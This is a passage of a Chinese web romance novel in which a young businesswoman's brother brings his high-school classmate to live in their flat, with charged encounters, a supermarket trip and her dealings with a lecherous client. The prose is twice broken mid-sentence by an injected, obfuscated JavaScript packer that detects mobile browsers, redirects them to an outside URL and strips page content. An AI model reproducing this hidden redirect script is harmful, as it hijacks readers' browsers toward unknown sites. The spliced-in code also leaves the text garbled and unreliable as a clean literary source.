黑色棉质居家服松松垮垮地套在身上,袖口卷至小臂,撑着门框的手臂,青筋浮现,宛如雪原上蜿蜒的暗色山脊。 他应该刚刚简单冲了澡,头发、眉稍,甚至眼睫都挂着水汽。发尾水珠往下滚,在胸口洇湿出一块深色的印记,布料下隐隐凸显出沟壑分明的肌肉轮廓,饱满、清晰,但又并不笨拙累赘。 谈丹青完全没料到会在自己家里碰到他。 她特意抬头确认了一边门牌号。 0901. 没错。 “你。” “你!” “你?” 她抓着手中提包,语言系统严重混乱,半晌冲绪东阳身后大喊了一声,“谈小白。” “姐……”谈小白一溜烟跑出来,说:“你回来了啊,我刚刚在楼上呢。” 谈小白脑子顿,从小到大不会察言观色,看不出她此刻相当不爽。 还兴致勃勃地跟她介绍:“绪东阳,你见过的,就今天打架这个。” 4. 第 4 章 谈小白说话时,绪东阳又在看她。 还是那道充满侵略感和荷尔蒙的目光。 热腾腾的,像一柄淬过火的刀,一寸寸缓慢而仔细地丈量过她的锁骨和肩颈。 谈丹青有意不去看他,松下紧绷着的肩,转头对谈小白说:“你,给我过来。” “来了来了,”谈小白跟着她走进厨房。 “到底怎么回事?那小孩儿……”谈丹青抱着手臂,皱眉问:“你不是刚跟他打过架吗?怎么又让他到家里来?” 谈小白讪笑,解释道:“是,但我后来发现他人还挺好的……” “呵,”谈丹青似笑非笑地吊起眉, 谈小白是她养大的,她早就摸清楚了谈小白的脾性。 人傻心软,仇不过夜。 即便上一秒刚给过一记弹脑壳,要他别捡垃圾往嘴里塞, 下一秒他照样吃着垃圾还过来抱她腿撒娇。 “怎么个不错法啊?他把你喜欢的女生让你了?”谈丹青说。 “呵呵,呵呵”谈小白傻笑起来,“他说他帮我追。” 谈丹青抬脚就点在谈小白膝盖上,谈小白一个趔趄,“avu……” “你就蠢吧。蠢得被人卖了还帮人家数钱。”谈丹青恨铁不成钢,“他说什么你就信啊?脑袋瓜子白被打了。” 谈小白的脑门上还贴着创可贴,谈丹青要推他脑袋的手,最后指尖轻轻在创可贴翘起的边缘捋了捋。 谈小白眼巴巴地说:“姐,我看他也挺可怜的啊。他跟我说,家里父母吵架,他没地方去。都高三了啊,还吵架呢?这啥父母?” 谈丹青转身拧开饮水器直来水管,接了杯温水。 谈小白再接再厉,继续说:“他成绩很好,年纪前十,理科满分。他住这儿,我平时还能请教请教……而且今天下午收到你消息后,我就答应人家了。他东西都带来了,这么晚,再把人赶出去,也挺不好的,对吧……” 谈丹青徐徐喝着温水,胸口一时心浮气躁。 绪东阳和谈小白差不多大。 如果今天是谈小白没地方去,可怜兮兮地蹲在她家门口。 她一定也希望有个人能从天而降,去拉他一把。 她家也不差空房,匀一间给绪东阳暂住,其实也不碍着她什么事。 甚至往夸张说,在高三这样关键的时间节点上,她的随手一帮,可能改变的,是绪东阳的未来。 谈丹青听过这么一句话,说这世界上有两种人,一种人淋过雨,知道淋雨的苦,所以再见到没有伞的人,会好心送去一把伞; 而另一种人,则会把别人的伞撕烂。 谈丹青扪心自问,她绝不算前一种无私奉献的圣人,但也没无聊到做后一种人。她大概属于第三种—— 伞我放这儿了,如果想要,那就自己过来拿。 “行了行了,”谈丹青将一杯温水喝完,开口道:“你给他清出一间房,然后叫他晚上待自己房里别出来。” “好好好!没问题。”谈小白立刻笑成一朵喇叭花,白牙直闪。 谈丹青也觉好笑,抿了抿扬起的唇,抬步往外走,说:“起开,多大的人了,还跟只哈巴狗似的,蹲着像个什么样子?” * 谈丹青和谈小白小时候一直住筒子楼,每次想去上厕所,都要见缝插针地和邻居抢。 他们邻居有一家是对嘴臭小情侣,每次谈小白钻进厕所占坑位,那男人就站在门外骂谈小白是人小屁股臭,把谈小白弄哭了好几次。 这件事,一直是谈丹青横在心里的一根刺。 所以公司赚到第一桶金后,她做的第一件事,就是给自己和弟弟在城区买了一间小复式。 谈小白住一楼,她住二楼。楼房不算大,上下两层加起来也就百来平。但却是他们过上好的生活的第一步。 一楼书房旁有一间空置客房,平日就堆些杂物,还有谈丹青公司拿回来的一些样品。 “以后你就睡这儿。”谈小白引着绪东阳入内。 绪东阳搬着纸箱走进,映入眼帘的,是挂在沙发扶手上的一抹猩红。 那是件红色蕾丝内衣,像一尾艳丽的响尾蛇,慵懒地盘踞在沙发扶手上。 绪东阳顿在原处,纸盒边缘硌疼了小臂。 呼吸之间,有一口气喘息得急了些,像被塞进了一只风箱。 内衣应该是不小心遗落在外的样品,不曾精心打理过,细密的蕾丝边丝线被钩花了,像一圈流苏。 罩杯位置的面料被折叠过,看起来皱巴巴的,仿佛被人揉搓过。 信息过载的时代,一个已经成年了的男性,不可能还没见过女人的内衣。甚至不需要刻意去找,只用随手打开任一网页,就会病毒式疯狂推送各类只穿内衣波涛汹涌的模特。如果还说自己一窍不通,不是纯,是装。 绪东阳不至于一看见内衣就想到忄生。 他的自制力一向很强。长期规律的健身和打拳,不仅消耗掉了大部分旺盛的精力,也让精神和元气内敛。 但在这电光火石的一瞬里,他的思绪失控,无法控制地想到今天谈丹青露在白色雪纺衬衣领口外的那一片雪白。 皮肤越白的人,反而越适合鲜艳夺目的红。 穿上后,鲜红纤细的肩带会捁住白皙的肩骨,融进细腻如脂的肌肤里,像素娟纸上渲开的丹砂。 “谈丹青!”谈小白在他耳边突然爆吼:“你东西又不清!扔得到处都是!” 谈丹青压根不理他。 谈小白只得任劳任怨地将房间里散乱的样品捡起来。 他对这些随处可见的内衣早就见怪不怪,手脚麻利地一叠,一折,然后放进一旁的纸箱里。 据说范冰冰的弟弟绝不会认为自己的姐姐是绝世大美女,谈小白心有戚戚。 “没工夫好好清,有点乱哈。”谈小白说。 绪东阳带了一些健身器材,杠铃和拳击沙包。 他将东西一样样搬出来,整齐放在角落。 “我靠,你练这个?这个多重啊?”谈小白立刻去举绪东阳的杠铃,结果一只手没举起来,换两只手合力,还是没举成,有点尴尬地摸了摸鼻尖。 “70。”绪东阳瞥了一眼说。 杂物一清,床一铺,房间就有点住的样子。 “喂,绪东阳,你真帮我追刘彤啊?”谈小白倒在拳击沙包上问。 “嗯。”绪东阳言简意赅。 谈小白竖起大拇指:“够兄弟!” “你真的一点都不喜欢刘彤?”他仍不放心,怕绪东阳诓他,又确认了一遍。 “真。” “你能别一个字一个字往外蹦么?”谈小白说。 “真的。”这次绪东阳说了两个字。 “牛……”谈小白被气笑了一声,“不过每个人喜欢的类型不一样,有的喜欢萌妹,有的喜欢御姐。你不喜欢刘彤这种,那你喜欢哪种?” 绪东阳已从书包里掏出纸和笔。 学神都这样。 菜市场也能读书, 一支笔,一张纸,走天下。 他没接谈小白的话。 谈小白等了一会儿,突然灵光一闪,鱼打挺地坐起来,杀气腾腾地说:“绪东阳,你他妈不会喜欢御姐型的吧?” 绪东阳这次没否认。 “我告诉你啊,你可别打我姐的主意。你要是想泡我姐,我杀了你你知道吗?真的杀。” 谈小白做了个脖子抹刀的动作。 神情非常认真。 比今天在厕所堵他的时候,凶残多了。 绪东阳不动声色地扫了谈小白一眼。 谈小白长了张自小在蜜罐子里泡大,不知人间疾苦的脸。 看着就相当欠扁。 “你跟你姐,关系很好?”他佯装无意,将话题往谈丹青身上引。 “那当然了,我跟我姐,那叫相依为命。”谈小白注意力一下就被转移了,舒舒服服地枕回沙包上。 “怎么说?”绪东阳问。 “你不会懂的,”谈小白说:“我妈呢,走得早,我都不记得她长啥样;我爸,那就是个靠不住的狗屁玩意儿。他贝者博,欠人钱,还不上,不要我和我姐,半夜拎包跑路,我基本上算是我被我姐拉扯大,你说能不亲么?” 这些家长里短,都大同小异。 而且一说起来就没完没了,倒苦水似的。 没意思。 谈小白停了下来,掏出手机,调出打游戏界面。 刚开局,就听绪东阳乍然开口:“然后呢?” “啊?”谈小白被这突然冒出的声音吓了一跳,“然后?什么然后?” “你姐看起来年龄也不大,”绪东阳笔尖飞速在试卷上勾选abc,说:“她怎么养得了你。” “哦,你说这个呀。”谈小白说:“我姐是不大,她才二十四呢。我姐可厉害着呢。” 二十四? 原来只比他大五岁。 属兔的。 看着……还真有点像。 谈小白:“我姐会想各种办法赚钱。小时候,我们就攒钱去商业街买小商品,买回来摆摊。我们还帮邻居奶奶折过金元宝。你知道金元宝吗?就烧纸用的那个。” “知道。”绪东阳说。 “有人嫌晦气,不愿意干,我们就干。”谈小白说。 “卖小商品,能赚钱吗?”绪东阳问。 谈小白说:“看行情吧,有时候赚,有时候也不赚。 “有一次吧,进的那批货好像是圆珠笔和钥匙扣,买了一大包,我们俩,一前一后,硬抗回来。结果货拿回家才发现,卖我们圆珠笔的老板是个狗东西。他卖给我们的,都是写不出来字的坏笔。” “那怎么办?” “全扔了呗。”谈小白苦笑了一声,说:“我姐说,既然是坏的,那这些东西就不能卖,不然我们和这个老板就没区别。 “她因为这事伤心了挺久,她以为我不知道,但我晚上听到她偷偷哭了。 “当时对于我们来说,那是不少钱。” 绪东阳安静地听着。 房间里月光宁静,只能听到谈小白手机里传来单调的游戏音效。 “Youhavebeenslain.(你被打死了。)” 谈小白在他房间玩了一会儿,伸懒腰,“我回去睡了。拜拜。” “我姐她人真的很好,你别看她今天态度不咋滴,那是因为你打我。反正,你住久了就知道了,你要是品行好,她会很疼你的。” “嗯。” 绪东阳垂下头,看向做到一半的试卷。 草稿纸上,数字和符号混乱的纠缠在一起。 纸片一角,混入一道他不知什么时候随意划下的一道线。 那线起起伏伏,有直有缓,有高有低。 笔直的地方如峻峭山脊,柔和的地方又似新月。 那是一个人侧颜的剪影。 他愣了愣。 笔尖停顿。 转到一旁。 另找了一个位置,重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“神经病。”谈丹青没好气地骂了一句,删除拉黑一条龙。 删掉这个神经病后,她突然想到今天还加了绪东阳。 当时通过得太匆忙,不太记得有没有给他看朋友圈的权限。 翻开好友列表,谈丹青一眼看到了绪东阳的头像。 拳击场八角笼的一角, 挂了一只红色拳击手套。 绪东阳的朋友圈倒是对她开放。 但发的内容不多,随便一翻就能翻到底。 谈丹青以为绪东阳这种性格的男生,朋友圈应该全是超自恋笨蛋帅哥怼脸照。 结果没想到绪东阳的朋友圈没发一张自拍。 除了一些转发歌单。 大部分是生活碎片—— 健身挑战重量级杠铃。 湖畔夜营等到的流星雨。 去阿布吉措徒步拍的雪景。 可能有人在在某一条朋友圈评论区问他照片怎么拍的。 他回复了具体参数,但没提自己用的是什么机子。 谈丹青看了觉得拍得的确很有氛围感。 星空璀璨。 织云如流。 最新拍的一张图片,刚好是她见过的风景。 是一中校园那条紫藤花长廊。 她去看的时候,只觉得花开得很繁茂。 没想到绪东阳拍的角度,是一种别样的视角。 她忍不住长按保存。 就算她存下来,绪东阳也不知道。 调开绪东阳的权限设置,她果然忘了关权限。 她立刻关闭,心里还有些打鼓,也不知道绪东阳看到了没有。 会不会回学校里乱说,让谈小白抬不起头。 * 翌日早,谈丹青打着哈欠下楼。 不知是不是这几天郑芳一直跟她推销小奶狗,然后又是生理期之前的日子。 她昨晚莫名其妙地梦到自己去酒吧点男模。 然后一名虽看不到脸,但身高一米八,八块腹肌的大大大帅哥前来为她服务。 她正激动,点名要“看看腹肌”。 结果男模衣服一掀,突然变身成一只真·小奶狗,从衣服里钻出来。 还特么是只柴犬! 醒来后,她越想越气。 一边跟郑芳吐槽,一边去卫生间洗漱。 郑芳:“柴犬?柴犬多可爱啊,杀生丸就是柴犬!” 谈丹青:“可爱是可爱,但是把我直接吓痿了……真谈不了奶狗。谈不了一点……” 话音未落,谈丹青推开卫生间门,里面竟然已经有人。 水声淅淅沥沥。 热气蒸腾,薄雾萦绕。 他正擦拭着头发,每当他的手臂抬起,一截劲腰的随着动作绷紧,两侧肌肉线条由上而下收窄,那片腰腹的阴影就愈发深刻。离镜子越近的部位,倒影出影子颜色越深;越远的地方影子颜色越浅。磨砂玻璃上氤氲着水汽,将这道身影晕染成深浅不一的灰。 谈丹青一下瞌睡全醒了,转身就想跑。 地上全是凝结的水,脚下一滑,整个人身体后仰。 她心想这次肯定是要摔倒了,干脆闭上眼睛。 这时一条湿漉漉的,像钢铁一样强壮的手臂一把搂住了她的腰,将她捞了起来。 后腰处仿佛被铁块烙出一圈指印,热气腾腾的水汽蓄着她正在用并且最喜欢的柠檬海盐味,化作一面大网,将她网罗其间。 她慌得屏住了呼吸,用手紧紧捂着眼睛。 透过手指的缝隙,她看到一滴水珠从绪东阳鸦羽似的眼睫上滴落,然后顺着腹部往下滚,最后没入浴巾松垮的褶皱里。 “你,你给我把衣服穿好!然后给我出来!”她一站稳,就立刻恩将仇报地将绪东阳推开。然后重重摔上门,飞燕似的往外跑。 5. 第 5 章 面前的木板门飞速被推开,又飞速关上。 快得几乎要拍在他的鼻尖上。 绪东阳鼻尖翕动,从湿热的水汽里,嗅到了一丁点湿漉漉的薄荷香。 这种味道总让他想到童年时奶奶家院子里养的薄荷。 叶片圆圆、胖胖的。 手指一掐,再搓开,就会闻到比薄荷味牙膏要更浓郁的香味。 空气里残余的薄荷香味已经被沐浴露盖住。 绪东阳重新拧开水,冲洗头发上的泡沫。 手指总觉得黏住了什么,这只手刚刚扶在了她的腰上,在此之后仿佛就粘上了什么,他无意识地甩了甩右手,然后食指和拇指指尖搓了搓。 * 谈丹青跑到客厅,扶着沙发调整呼吸,低头看见自己身上穿的还是睡衣。 她日常喜欢穿得舒服,睡衣是两件式,卡通款,上身粉色猫猫头T恤,下身短裤,里面没顾得上穿内衣。好在睡衣宽大,足够将她笼起来。 家里有陌生异性,总少了一种安全感。她捡起沙发上的毛毯,搭在肩上,将自己紧紧裹住。 急促地呼吸了三分钟,身后薄薄的门板再次被推开。 绪东阳走了出来。 他穿了身干净的黑色短袖,灰色运动裤,肩上搭了一条白色干毛巾。 个子很高,几乎占据了整个门框。 身姿修长、挺拔。 像棵年轻的小白杨。 谈丹青看了绪东阳一眼,拢了拢肩上的毛毯,开口道:“一楼是公共区域,我也会用。你一般什么时候洗漱,以后我跟你错开。” 绪东阳说:“我每天六点起床。” “这么早……”谈丹青喃喃。 谈小白是起床专业户,要他起床跟杀猪似的,不踩点绝不起床。 她以为这个年龄段的少年都这么嗜睡。 “刚刚,抱歉。”绪东阳补充了一句,声音低沉。 他这才看清谈丹青身上的睡衣。 棉质材料柔软温柔,及膝的短裤裤腿很宽,下方空悬了一双长而直的腿。脚上踩着毛茸茸的白色拖鞋,脚踝更是纤细,显得整个人窈窕而修长。 他的手刚刚应该就掐在了她的后腰窝上。 下衣摆有一枚手掌形的水渍。 “哦,算了,”谈丹青无所谓地撇了撇嘴。 本来就只是个误会,绪东阳也不是故意为之。 他还扶了她,让她免于摔人仰马翻,现在又向她道歉,这一套丝滑小连招下来,再挑不出错。 她既想发脾气,又觉得这脾气发得不占理,宛如一拳头打进了棉花里,难免心浮气躁。 她又瞧了绪东阳一眼。 他出来得急,头发没擦干,跟她说话时,眉梢上的头发还在往下滴水,有几滴几乎要滴进眼睛里。 眼窝深而暗黑。 谈丹青抿着唇,将视线从他的发尾移开,说:“先把头发擦了。” “嗯。”绪东阳便将整面毛巾顶在头上,在她面前毛毛躁躁地搓了搓。 偏硬的发质被搓得立马炸开,水珠乱溅,有几滴水差点滴到了她的脸上、鼻尖。莫名让她想到宠物医院里不高兴洗澡的全科类动物。 不过绪东阳绝不属于柴犬那挂。 他跟小奶狗毫无关系。 非要选,大概也是个罗威纳。 谈丹青去关紧谈小白虚掩的房门,然后对绪东阳开口:“绪东阳,你是我弟弟的朋友,你住在这儿,我绝不会欺负你。但是,咱们先礼后兵,有些话,我要说在前面,你别怪我说得太直。” 绪东阳擦拭头发的手慢了下来,拿那双黑漆漆的深邃眼窝觑她。 “什么?”他问。 谈丹青说:“小白愿意让你住这里,那是他心眼好,可你不许教坏了他,更不许再打他。他脑子笨,有时候你欺负他,他傻缺压根反应不过来。但我不一样,我要是发现了,你就直接滚蛋,明白了吗?” “好。”绪东阳将她不近人情的话全盘接受,然后心平气和地问,“还有什么要求吗?” 谈丹青“嗯?”了一声。 绪东阳看着她,说:“除了不许打谈小白之外,还没有什么约法三章之类的?” “哦,说到这儿我差点忘了,”谈丹青说,“是该有个约法三章比较好。”她想了想,数了起来:“第一,你不能进我的房间。” 绪东阳点了点头。 “第二,”谈丹青说话语调拖得有些长,因为她边说边想,需要些时间整理思路,“你的东西不许乱扔、乱放,还要做好房间卫生。别的地方卫生不用你做,家里有阿姨。” “好。”绪东阳再次答应下来,“第三?” 至于第三条,谈丹青暂时想不出来。 她正冥思苦想着,又感觉到绪东阳在看她。 她有时候真怕了这双眼睛,瞳孔深邃凛冽,直勾勾地将她锁定住。 “第三呢?”绪东阳望着她,追问道。 第三,不许再这么看我。 这句话几乎就要脱口而出。 但谈丹青绝不可能说出口。这要求太古怪,甚至莫名其妙地显得她很自恋。 可能他压根就没看她呢? 全是她自己的心理作用。 人家一个年纪轻轻的高中生,对她这样的“阿姨”顶多是好奇罢了。 谈丹青拧了拧眉,拢着肩上的毛毯,说:“第三没有了,等我想到了再告诉你。” “好。”绪东阳再次点头应下。 “还有什么事吗?”他问。 谈丹青摇了摇头,“没有了。小白给你录入指纹了吗?” “录了。” “好。” 绪东阳说:“那我就出门跑步了。” “跑步?”谈丹青看了眼时间,早上七点。 她还打算再睡个回笼觉。 绪东阳说:“嗯,我每天跑两次。” 谈丹青惊讶:“跑两次?” 绪东阳说:“嗯,晨跑夜跑。” 谈丹青:“……行吧。” 让她跑步等于要她狗命。 绪东阳说:“晨跑就是跑去吃热干面豆皮炸饺蛋酒,夜跑就是跑去吃火锅串串小烧烤。 谈丹青失笑。 她知道绪东阳是在一本正经地跟她开玩笑。就绪东阳那身穿衣显瘦,脱衣有肉的身材,就不像是爱吃垃圾食品。说这话是为了讨喜。 绪东阳在玄关换了双球鞋就出了门。 谈丹青本打算回屋补觉,但发现自己睡意全跑掉了。 她在二楼拉开窗帘,往外看了看。 晨光熹微,金雾将散,少年矫健颀长的身影如风掠过郁郁葱葱的林荫小道。 黑色运动服布料被汗水微微浸透,隐约透出紧实的肌肉轮廓…… 不是夸张的块垒分明的肌肉块,而是常年运动淬炼出的修长的薄肌, 跑步时,他的腰背舒展,腿肌肉线条随着步伐张弛,跟腱细长,每一步都踩出恰到好处的力道,轻盈又充满掌控感。 他似乎察觉了她好奇的目光,放慢脚步,突然回过头。 风吹乱他额前碎发,睫毛上还沾着未干的汗。 就连阳光都偏爱于他,让那双眼睛在逆光里亮晶晶的闪烁。 谈丹青心口怦地跳了一拍。 她忽地明白了,为什么老男人总是喜欢和少女谈恋爱。 因为年轻人身上这股朝气蓬勃的生命力,千金难买,感染人心,看一眼就仿佛被阳光照耀过。 让“尸斑”都少了一点。 谈丹青放下窗帘,感慨道:“年轻真好……” * 中午谈丹青清点了库存,又定了今晚的选品,跟郑芳两人蹲在花坛旁边吃盒饭。 “你好像没睡好啊?”郑芳问。 “别提了,”谈丹青有些沮丧地蒜苗从肉片里挑出来,说:“我弟同学来我家借住,可能家里多了个人吧,总觉得怪怪的。” 郑芳立马嗅到八卦的气息,搁下筷,两手托腮,催促道:“你弟同学到底帅不帅啊?帅不帅啊?帅不帅啊?” “帅不帅很重要吗?” “没有比这个问题更重要的事了。”郑芳义正言辞。 “好吧……”谈丹青一时不知如何作答。 平心而论,对着绪东阳那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547421|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,她说不出“长得丑”这样过于偏离事实的评价。 但她又不想对郑芳说绪东阳长得帅,以免引起郑芳的误会。 她吃了口饭,搪塞道:“我也不知道怎么说,还行?大概……就正常人长相……” 郑芳一听,兴趣立马减少了一大半,撇了撇嘴,说:“看来不怎么帅啊,不然你不需要解释这么多……” 这时胡小样敲门进来,“谈姐,有人找你。姓周。” 听到姓周,谈丹青胸口起起伏伏。 这个周礼,就是个下作的老油条。他有老婆,还有一双可爱的儿女。但借着谈生意之名,约她出来吃了好几次饭。每次刚喝一口红酒,就开始在桌下掐她的手,诉苦自己婚姻不幸福。 谈青彤厌恶他很久,但她的品牌发展到今天,已经有进入停滞期的趋势。如果想摆脱掉廉价网红标签,最好在线下商店进驻实体店,线上线下齐头并进,一起发展。周礼任职的公司线下经销铺货实力很强,刚好能解决她的燃眉之急。 又只能忍着恶心同他周旋。她运了半晌气,方才接过电话,若无其事地笑着说:“周老板呀!您好您好!” 周礼约谈丹青周末去一家时下最热门的俱乐部见面。 这家俱乐部最近风头很盛,听说里面玩得花样非常多,还有拳击比赛。言语间暗示,如果她来了,合同的事就有谱。 谈丹青笑道:“我请周老板帮忙,哪儿好意思让周老板请客。到时候我过来,给周老板敬一杯酒。” “那就说好了。” 挂了电话,谈丹青抽出一张消毒湿纸巾。 反反复复擦拭刚刚接通了周礼电话的手机屏幕。 单是隔着话筒和周礼说话,她都犯恶心。 郑芳说:“周礼那厮?” “嗯。” 郑芳骂了一句:“呵呵,欠阉的剑冢。” “我跟你一起去,早想扇他巴掌玩了。”郑芳说。 “别……”谈丹青说,“扇了就没钱赚了,等合同签了再扇。这种人我又不是没见过,到时候见机行事。” * 等忙完,已经到了晚上。 谈丹青给谈小白发了消息,让他今天放学别骑自行车回家,就在学校十字路口等着,她忙完开车过去接,然后一起去超市买菜。 她也不是完全不顾家的工作狂,每周至少要和弟弟好好吃几顿饭。 听说原生家庭幸福,长大后才不会变态。 她可不想为了赚钱把弟弟给养歪了。 消息发出去后,谈小白却一直没回。 傍晚车流停停走走,谈丹青开车到了约好的路口,却没见谈小白的人影。 远远看到一道高高大大的影子拖在地上。 绪东阳背着单肩包,路口等她。 “绪东阳?”谈丹青惊讶地缓缓停下车,降下车窗问他,“谈小白呢?” 绪东阳说:“他拉肚子,提前回去了。” 他看着她,顿了顿,接着说:“他让我跟你一起去。” “啊?怎么拉肚子了?”谈丹青忧心地划开手机,拨电话过去。然后又解了车锁,对绪东阳说,“你上车。” “喂,怎么搞的啊?”谈丹青在电话里问谈小白,“怎么拉肚子了?” “我中午吃饭后吹风了,”谈小白在电话里的声音听起来中气很足,“姐,你别担心我。我让绪东阳跟你去。你尽情奴役他!” “行吧,”谈丹青说:“多喝热水,知道吗?” “嗯嗯嗯,知道知道。” 谈丹青刚挂了电话,绪东阳那边手机就震了震。 他瞥了后视镜一眼。谈丹青在看路,便掏出手机。 小白打游戏不小白:【兄弟,谢啦,还是你有主意,我已经见到刘彤了。】 Leo:【嗯。】 没想到绪东阳真的很够哥们。 帮他想办法叫了一群朋友来打球,然后借机请刘彤喝奶茶。 还让他多玩一会儿,晚点回,他姐那边他应付。 小白打游戏不小白:【你再帮我照顾一下我姐吧,别让她提东西啊。】 Leo:【好。】 6. 第 6 章 车启动,谈丹青瞥了眼后视镜,说:“系安全带,” 又问:“会系么?” 绪东阳犹豫了一下。 他想说不会。 但不会系安全带这事又过于傻缺了。 “……会。”安全带“哒”的一声扣上。 * 超市自动玻璃门自动一开一阖,送出阵阵暖风,发光的灯体也是温暖的。 说起来是谈丹青带着绪东阳买食材,但实际上她日子过得很敷衍,买东西也是乱买一气,看见什么拿什么。这样容易出现纰漏,有时候到家了,才想起来忘了一把葱,一头蒜。 绪东阳单手指推着购物车,时不时扫一眼手机屏幕。谈丹青起初以为他在跟朋友聊天,无意之中瞟了一眼,才看清他在看手机备忘录。上面记着购物清单,对着列表逐一取货,拿一项划一项。 谈丹青有些讶然。 这种行事方式很古板,她似乎很久都没见过了。 超市新上了一款减盐酱油,号称健康无负担零添加。 绪东阳便扶着购物车,停下来看配方,和购物清单上的商品进行比对。 谈丹青百无聊赖地站在一旁等待。 超市里人来人往,一错眼,就发现有人悄悄朝绪东阳投去目光,甚至有些人已经推着购物车从他身边经过了,还要特意回头再多望一眼。 有什么特别吗? 谈丹青便也将目光放在绪东阳身上。 绪东阳穿着款式宽松的灰色卫衣,下.身是一条干净利落的藏青色牛仔裤。背影高大挺拔,但并不笨重。结实有力的肌肉,只是在卫衣之下隐隐透出分明的棱角。 “喜欢吃甜的还是酸的。”他突然回头问她,手里拿了瓶番茄罐头。 谈丹青没料到绪东阳会突然回头,审视的视线来不及收回,就和他的眼睛撞了个正着。 她立刻低下头,双手没事找事地摆弄着购物车里的货物,说:“随便吧。” “嗯,那就甜的吧。”绪东阳替她做了选择,将番茄罐头放进购物车。 谈丹青推着购物车往前走,经过蔬菜区,说:“过去买点青菜,不能之吃肉。” “好。”他走到她身侧,自然而然地将购物车从她手中顺了过去,缓缓推着往前走。 隔着玻璃柜看着琳琅满目的青菜,她总想到以前小时候跟谈小白两人在菜市场捡人不要的菜时的狼狈模样。那时候软塌塌的菜叶子他们都如获至宝,带回去打个鸡蛋,就算是一锅菜。 如今他们算拨得乌云见日出,超市里的青菜码得整整齐齐,一个赛一个的漂亮,但全都按个卖,比肉还贵。 “对了,”谈丹青回头问绪东阳:“你爱吃什么?买点你爱吃的啊。” 绪东阳看了看,说:“生菜吧。” 谈丹青拿了盒生菜,想起了什么,又说:“我不是只让你买青菜啊。肉呢?喜欢吃什么肉?你们男生应该都是肉食动物。” “牛肉,”绪东阳说:“牛里脊肉质嫩,可以炒个番茄牛柳。” 切肉的师傅以为他俩是逛超市的年轻情侣,不会挑肉的好坏,故意要给他们切筋多的部位。绪东阳说:“老板,换一块,要这块。” 他一眼挑出一块肉质最紧实,颜色殷红,还带了点肥油的部位。要求师傅切这块。 “你不做饭不知道,我这块更好啊,”切肉师傅说。 绪东阳语气温和,但态度坚持,说:“就要这块,切吧。” “好吧好吧,真是的……”切肉师傅撇着嘴,嘟嘟囔囔。不情愿地将这块压箱底的好肉分给了他们。 称好肉,谈丹青忙拿起绪东阳力争来的牛肉看了看,眼睛亮晶晶的,心里特开心,有种捡到便宜的感觉。 “你这肉挑得是不错,”她说:“比别的肉都红一些。” 绪东阳:“……” 谈丹青继续哐哐往推车里扔东西,薯片、饼干、巧克力。 绪东阳却什么都不拿。 “零食呢?”谈丹青推了推绪东阳,说:“想吃什么自己拿啊,还要我三催四请的?” 要是谈小白在这儿,货架早被搬空了。 谈丹青才不信,这个年龄的小孩儿不爱吃零食。 少儿区,一群小鼻嘎在苦苦哀求他们的妈沫给他们买奇趣蛋。 谈丹青故意指向少儿货架,说:“来个奇趣蛋?” 绪东阳的表情终于绷不住了。 用那种无可奈何的,眼角嘴角同时抽搐的神情觑她。 显得特别有趣。 谈丹青忍着笑,说:“好吧好吧,是我想吃。” 在一排小家伙崇拜羡慕的目光里,谈丹青拿了三枚奇趣蛋。 绪东阳拿了盒无糖苏打饼干。 然后在巧克力区站了一会儿,最后拿了一条德芙。 到了收银台,付钱队伍早已排成了长龙,人挤着人,脚踩着脚,快要透不过气。 本是绪东阳推购物车,谈丹青走在他旁边。但收银口的人实在太多,谈丹青被人不小心撞到了肩膀。绪东阳眼疾手快,一把将她往自己这边一拉,让她挤到购物车和自己之间。 仗着身高优势,绪东阳轻而易举地挡开了汹涌的人流。 但也同样因他的身高优势,谈丹青几乎是被他环在了胸口。 滚烫宽厚的胸膛,和她僵硬的脊背只隔了一张纸片的距离。 汹涌的人流走走停停。 停时她被滞留在原处,绪东阳却还在往前面走,于是她的脊骨抵上了坚硬的胸口。原来胸肌是软的,像棉花糖一样。 挤到一起后,他又会往后让,与她重新拉开安全距离。身体远离,体温却无法远离,依旧是热烘烘的,等待着第二次相撞。 谈丹青等得焦急,鼻尖渗出了些汗。 这时突然听见头顶绪东阳说:“那边有自助收银台。”带动着胸腔震动。 她立刻如见救星,说:“我们快去那边。” 绪东阳推着购物车开道,两人奋力挤去自助收银台。 谈丹青觉得这一幕,特别像孙策开大…… 自动收银台的速度快了许多。 不到两分钟就扫完了码。 付账码弹出时,谈丹青正要手机解锁,却听到收款成功的提示音。 绪东阳比她快一步付了钱。 谈丹青愣了愣,说:“你付钱做什么?我给你买啊。” 绪东阳闷不作声,埋头往塑料袋里装东西。 谈丹青心想多半是少年的自尊心强。 对他们来说,让异性付钱是见丢面子的事。 所以就算兜里比脸还干净,也要抢着付钱。 她觉得有些好笑,摇摇头,在wx上给他发了个红包,说:“绪东阳,你别跟姐姐抢啊,收红包。” 她抬步往外走,身后提着塑料袋的绪东阳脸色却并不好看。 * 到了家,家里没人。 谈丹青拉开卫生间门。 马桶上也没人。 谈小白别说蹲坑了。 他压根就没回! “呵呵呵……” “好好好,好好好……” “桀桀桀!” 谈丹青在屋里转了一圈,发出一阵阵毛骨悚然的冷笑。 “出息了,真是出息了,都学会撒谎了,回来就把他剁了喂狗。”谈丹青放狠话。 下一秒,谈小白点开手里进来的消息。 顿时花容失色。 “我要撤了撤了……” 消息只有三个字—— Tdq:【你死了。】 谈丹青洗了手,进厨房骂骂咧咧地开始切菜。 她不怎么喜欢做饭。 对这种洗菜、切菜一小时,吃饭十分钟的事,热情不大。 即便亲自下厨,洗手作羹汤,也是享受不多,更多是为了完成任务,模仿世俗意义上,大家对幸福的美好意境的描绘。 她手忙脚乱地将黄瓜削皮,笨拙地切成两段,然后再对切成四段。 在她第三次把黄瓜切掉在地上后,一直沉默无声抱臂倚着门框看她的绪东阳走了过去。 他从冰箱上取下围裙,套在脖子上,说:“还是我来吧。” 